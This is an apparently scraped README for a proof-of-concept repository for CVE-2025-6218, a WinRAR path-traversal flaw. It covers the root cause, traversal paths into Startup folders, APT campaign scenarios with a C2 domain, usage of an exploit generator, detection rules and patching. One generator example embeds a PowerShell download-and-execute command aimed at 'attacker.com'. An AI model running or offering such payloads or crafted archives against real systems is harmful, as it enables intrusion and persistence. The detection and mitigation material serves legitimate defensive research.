## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CHRXSTXQN-CVE-2025-6218-WINRAR-RCE-POC
# CVE-2025-6218: WinRAR Path Traversal RCE
    
> **⚠️ CRITICAL VULNERABILITY - Active Exploitation Confirmed**
>
> CVE-2025-6218 is a critical path traversal vulnerability in WinRAR that allows arbitrary code execution. **Currently exploited by APT groups** such as GOFFEE, Bitter (APT-C-08) and Gamaredon.
* * *
## 📋 Index
* Overview
* Technical Description
* Exploit Mechanism
* Vulnerable Versions
* Attack Scenarios
* Threat Actors
* Proof of Concept
* Detection & IOC
* Mitigations
* Timeline
* Repository Structure
* References
* * *
## 🎯 Overview
**CVE-2025-6218** is a **CRITICAL** **path traversal** vulnerability in WinRAR for Windows that allows attackers to execute arbitrary code.
### Main Impact
### Why is it Dangerous?
An attacker can:
* ✅ Place files in sensitive folders (Startup, System32)
* ✅ Execute code at system boot
* ✅ Establish persistence without elevated privileges
* ✅ Bypass antivirus (legitimate tool abuse)
* ✅ Lateral movement in corporate networks
* * *
## 🔍 Technical Description
### What is the Vulnerability?
WinRAR **does not properly validate** file paths inside specially crafted `.rar` archives. When a user extracts a malformed archive, files can be written to **arbitrary paths** outside the intended extraction folder using **path traversal** sequences (`../` or `..\\`).
### Root Cause - The Bug```c
// Pseudocodice - WinRAR v7.11 (VULNERABILE) void extract_file(rar_entry *entry, char *dest_dir) { char final_path[MAX_PATH];
root@kitploit:~
strcpy(final_path, dest_dir); // "C:\\Temp\\"
strcat(final_path, entry->filename); // + "..\\..\\..\\Windows\\System32\\malware.exe"
// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!
create_file(final_path); // File creato in directory non intesa
}
root@kitploit:~
### Missing Protections in v7.11
- ❌ No check if the file remains inside `dest_dir`
- ❌ No filter on `..` or `.` sequences
- ❌ No path normalization
- ❌ No whitelist of allowed directories
- ❌ No containment validation
### The Fix in v7.12```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
char canonical[MAX_PATH], canonical_base[MAX_PATH];
// Normalizza entrambi i percorsi
GetFullPathName(path, MAX_PATH, canonical, NULL);
GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
// Verifica contenimento
if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
return false; // Path esce dalla directory base
}
return true;
}
void extract_file_safe(rar_entry *entry, char *dest_dir) {
char final_path[MAX_PATH];
strcpy(final_path, dest_dir);
strcat(final_path, entry->filename);
// ✅ FIX: Verifica che il file rimane dentro dest_dir
if (!is_path_contained(final_path, dest_dir)) {
skip_extraction(); // Rifiuta estrazione
log_error("Path traversal detected!");
return;
}
create_file(final_path); // Adesso sicuro
}
* * *
## 💥 Exploit Mechanism
### Path Traversal Explained```
Cartella di Estrazione: C:\Temp\Extract
Path nel RAR (craft): ..\\..\\..\\..\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Risoluzione Path: C:\Temp\Extract\\.. = C:\Temp\ C:\Temp\\.. = C:\ C:\\.. = C:\ (non può andare oltre)
* Users\\\...\Startup\payload.bat
= C:\Users\\AppData\Roaming\\...\Startup\payload.bat ✓
root@kitploit:~
### Attack Flow Diagram```
┌─────────────────────────────────────────────┐
│ 1. Attaccante crea RAR con path craft │
│ es: ..\\..\\..\\Startup\\malware.bat │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 2. Distribuzione via spear-phishing │
│ Email mirata con allegato RAR │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 3. Vittima estrae archivio con WinRAR │
│ (versione ≤ 7.11) │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 4. WinRAR non valida path traversal │
│ File estratto in Startup folder │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 5. Al boot: payload eseguito │
│ RAT stabilisce C2 connection │
└─────────────────────────────────────────────┘
## 🔴 Vulnerable Versions
### Compatibility Table
### How to Check Your Version```powershell
# Metodo 1: PowerShell
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output:
# 7.11.0.0 → 🔴 VULNERABILE ⚠️
# 7.12.0.0 → 🟢 SAFE ✓
# Metodo 2: CMD
wmic datafile where name="C:\\\Program Files\\\WinRAR\\\WinRAR.exe" get Version
# Metodo 3: GUI
# WinRAR → Help → About WinRAR → Verifica versione
root@kitploit:~
## 🌍 Attack Scenarios
### Scenario 1: Bitter/APT-C-08 Spear-Phishing (CONFIRMED ACTIVE)
**Objective**: Government, military organizations, strategic institutions```
Email Phishing:
From: some-email@example.com
Subject: "Provision of Information for Sectoral for AJK.rar"
Attachment: Provision_of_Information.rar
Contenuto Archive:
├── Document.docx (esca legittima - report convincente)
└── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
(macro malato nascosto)
Esecuzione:
1. Vittima estrae RAR
2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
3. Prossimo avvio Word → Macro eseguita automaticamente
4. PowerShell downloader attivato
5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
6. C2 Server: johnfashionaccess.com
7. Capabilities:
- Keylogging
- Screenshot capture
- RDP credential stealing
- File exfiltration
- Lateral movement
### Scenario 2: GOFFEE Multi-Stage Payload
**Objective** : Russian government organizations``` RAR specializzato: ├── run.bat (path: ..\\..\\..\\..\Windows\Startup\run.bat) └── legitimate_document.pdf (esca)
Attack Chain:
1. Estrazione RAR → run.bat finisce in Startup
2. Al prossimo boot → run.bat eseguito
3. PowerShell script scarica stage 2
4. C# Custom Trojan installato
5. RAT stabilisce C2 persistente
6. Full system control achieved
root@kitploit:~
### Scenario 3: Ransomware Delivery```
RAR Weaponized:
└── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)
Infezione:
1. Estrazione RAR
2. locker.exe → Startup folder
3. Sistema reboota (naturale o forzato)
4. locker.exe eseguito con diritti user
5. File system encryption
6. Ransom note displayed
7. Bitcoin payment richiesto
* * *
## 🎭 Threat Actors
### GOFFEE (Paper Werewolf) 🇷🇺
* **Origin** : Russia
* **First Seen** : July 2025
* **Targets** : Russian government organizations
* **Method** : CVE-2025-6218 + CVE-2025-8088 (NTFS ADS)
* **Payload** : C# Custom Trojan
* **TTP** : Multi-stage infection, NTFS ADS abuse
### Bitter / APT-C-08 / Manlinghua 🇵🇰
* **Origin** : South Asia
* **First Seen** : August 2025
* **Targets** : Government, Military, Strategic Orgs
* **Method** : Spear-phishing with RAR + Macro template
* **Payload** : WmRAT, MiyaRAT, ZxxZ
* **C2** : johnfashionaccess.com
* **TTP** : Social engineering, Office macro abuse
* **Status** : 🔴 **ACTIVE CAMPAIGN**
### Gamaredon 🇷🇺
* **Origin** : Russia (FSB-aligned APT)
* **First Seen** : November 2025
* **Targets** : Ukrainian Government
* **Payload** : GamaWiper (data destruction)
* **Type** : Cyber-sabotage + espionage
* **TTP** : Mass distribution, wiper deployment
* * *
## 🧪 Proof of Concept
### Prerequisites```
✅ Windows VM (10, 11, Server) ✅ WinRAR versione ≤ 7.11 installato ✅ Network isolato (no internet - safety first!) ✅ Snapshot VM per rollback ✅ Admin access per testing
root@kitploit:~
### Lab Environment Setup```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11
# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓
# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false
# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"
### Quick Start POC```bash
# 1\. Clone questa repository
git clone https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC.git cd CVE-2025-6218-WinRAR-RCE-POC
# 2\. Genera exploit archive
python3 exploit/generate_rar.py
\--target startup
\--payload calc.exe
\--output exploit_poc.zip
# Output:
# [+] Target location: startup
# [+] Traversal path: ..\\..\\..\\..\Users\\{user}\AppData\\...\Startup
# [+] Created: exploit_poc.zip
# 3\. Trasferisci exploit_poc.zip su VM vulnerabile
# 4\. Su VM target:
# \- Right-click exploit_poc.zip
# \- Extract to C:\
# \- WinRAR estrae file
# 5\. Verifica exploit success
ls "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
# Dovrebbe mostrare: calc.exe ← PATH TRAVERSAL RIUSCITO!
# 6\. Reboot VM
shutdown /r /t 0
# 7\. Al login: calc.exe eseguito automaticamente ✓
root@kitploit:~
### Exploit Generator Usage```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat
# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe
# Genera con custom batch command
python3 exploit/generate_rar.py \
--target startup \
--payload dropper.bat \
--batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Targets disponibili:
# - startup : Auto-execution at login
# - system32 : System directory (needs admin)
# - appdata : User AppData
# - documents : User Documents
# - temp : User Temp folder
* * *
## 🔎 Detection & IOC
### File System Indicators```powershell
# Monitor creazione file in Startup
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Recurse -File | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
# Check for suspicious Office templates
Get-ChildItem "$env:APPDATA\Microsoft\Office" -Include "_.dotm","_.xlsm" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
# Monitor System32 creation (requires admin)
Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='ObjectName'] and contains(., 'System32')]]" -MaxEvents 100
root@kitploit:~
### Process Execution```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
$_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId
# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50
### Network IOCs (C2 Domains)```
johnfashionaccess.com (Bitter/APT-C-08) [additional IOCs from CISA KEV]
root@kitploit:~
### Email Indicators```
Subject patterns:
- "Provision of Information"
- "Sectoral for AJK"
- Government-related keywords
Senders:
- some-email@example.com
- Free email providers (Gmail, Outlook)
Attachments:
- .RAR files da external senders
- Legitimate-looking document names
### YARA Rule```yara
rule CVE_2025_6218_WinRAR_PathTraversal { meta: description = "Detect RAR archives with path traversal sequences" author = "Christian Schito" date = "2025-12-15" cve = "CVE-2025-6218"
root@kitploit:~
strings:
$rar_sig = { 52 61 72 21 } // "Rar!" signature
$traversal1 = "..\\" ascii wide
$traversal2 = "../" ascii wide
$startup = "Startup" ascii wide nocase
$system32 = "System32" ascii wide nocase
condition:
$rar_sig at 0 and
(#traversal1 > 3 or #traversal2 > 3) and
($startup or $system32)
}
root@kitploit:~
## 🛡️ Mitigations
### 🔴 IMMEDIATE PATCH (CRITICAL)```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}
# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm
# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart
# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0
### Defense in Depth
#### Email Security```
✅ Blocca .RAR da external domains ✅ Quarantine archives per deep scanning ✅ Content disarm and reconstruction (CDR) ✅ Sandboxing di allegati sospetti ✅ YARA rules per detection
root@kitploit:~
#### Endpoint Protection```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"
# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories
#### Network Segmentation```
✅ Separate admin workstations ✅ Block egress to known C2 domains ✅ Monitor for suspicious DNS queries ✅ Implement zero-trust network access
root@kitploit:~
#### Application Whitelisting```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule
#### User Training```
✅ Non aprire archivi da email unknown ✅ Verify sender identity prima di aprire attachments ✅ Report suspicious emails al security team ✅ Keep software up-to-date ✅ Use sandboxed environment per file sospetti
root@kitploit:~
---
## 📅 Timeline
| Date | Event |
|------|--------|
| **Unknown** | Vulnerability discovered |
| **June 2025** | RARLAB releases WinRAR 7.12 with patch |
| **July 2025** | GOFFEE (Paper Werewolf) begins active exploitation |
| **August 2025** | BI.ZONE publishes detailed technical analysis |
| **September 2025** | Bitter/APT-C-08 confirmed in spear-phishing campaigns |
| **November 2025** | Gamaredon exploitation confirmed against Ukraine |
| **9 December 2025** | 🔴 **CISA adds CVE-2025-6218 to KEV catalog** |
| **30 December 2025** | Mandatory patch deadline for US federal agencies |
---
## 📁 Repository Structure```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md # Questa guida completa
├── LICENSE # MIT License
├── docs/
│ ├── TECHNICAL_ANALYSIS.md # Deep dive tecnico
│ ├── DETECTION.md # Forensics & IOC
│ ├── IOC_INDICATORS.md # Indicators of Compromise
│ └── SETUP.md # Lab setup guide
├── exploit/
│ ├── generate_rar.py # POC exploit generator (Python)
│ ├── CVE-2025-6218.bat # Batch script POC
│ └── README.md # Exploit usage guide
├── tools/
│ ├── detect.ps1 # Detection PowerShell script
│ ├── check_version.ps1 # Version checker
│ └── monitor_startup.ps1 # Startup folder monitor
└── samples/
├── yara_rules.yar # YARA detection rules
└── sysmon_config.xml # Sysmon configuration
* * *
## 📚 References
### Official
* NVD CVE-2025-6218 \- Official vulnerability record
* CISA KEV Catalog \- Added December 9, 2025
* RARLAB Security Advisory \- Official patch download
### Threat Intelligence
* SecPod Analysis \- APT-C-08 campaign analysis
* TheHackerNews Report \- Active exploitation alert
* RedHotCyber Analysis \- CISA warning (Italian)
### Community POCs
* absholi7ly/CVE-2025-6218
* skimask1690/CVE-2025-6218-POC
* ignis-sec/CVE-2025-6218
* * *
## ⚠️ Disclaimer
**⚠️ EXCLUSIVELY EDUCATIONAL AND RESEARCH USE**
This repository is provided **for educational purposes only** and for **authorized security research**.
### DO NOT Use For:
* ❌ Unauthorized attacks on systems
* ❌ Unauthorized access to computers
* ❌ Distribution of malware
* ❌ Violation of local or international laws
* ❌ Illegal activities of any kind
### USE ONLY On:
* ✅ Systems you own
* ✅ Isolated authorized virtual machines
* ✅ Controlled test environments
* ✅ With explicit written authorization
* ✅ For legitimate research purposes
### Legal Responsibility```
L'autore NON è responsabile per:
* Uso improprio di questo codice
* Danni causati da questo software
* Violazioni di legge commesse usando questo materiale
Usando questo repository, accetti di:
* Rispettare tutte le leggi applicabili
* Usare il codice solo per scopi legittimi
* Assumerti piena responsabilità delle tue azioni
root@kitploit:~
**Unauthorized access to computer systems is illegal. You have been warned.**
---
## 📄 License
MIT License - See [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/HEAD/LICENSE) for details
---
## 🤝 Contributions
Contributions welcome! If you have:
- 🐛 Bug reports
- 💡 Feature requests
- 📝 Documentation improvements
- 🔬 Additional IOCs
Open an **Issue** or **Pull Request**!
---
## 📞 Contact
**Author**: Christian Schito
**GitHub**: [@Chrxstxqn](https://github.com/Chrxstxqn)
**Last Updated**: December 15, 2025
**Status**: 🔴 Active Research - Exploitation Confirmed
---
<div align="center">
**⭐ If this repository is useful to you, leave a star! ⭐**
**🔒 Stay Safe. Patch Now. 🔒**
</div>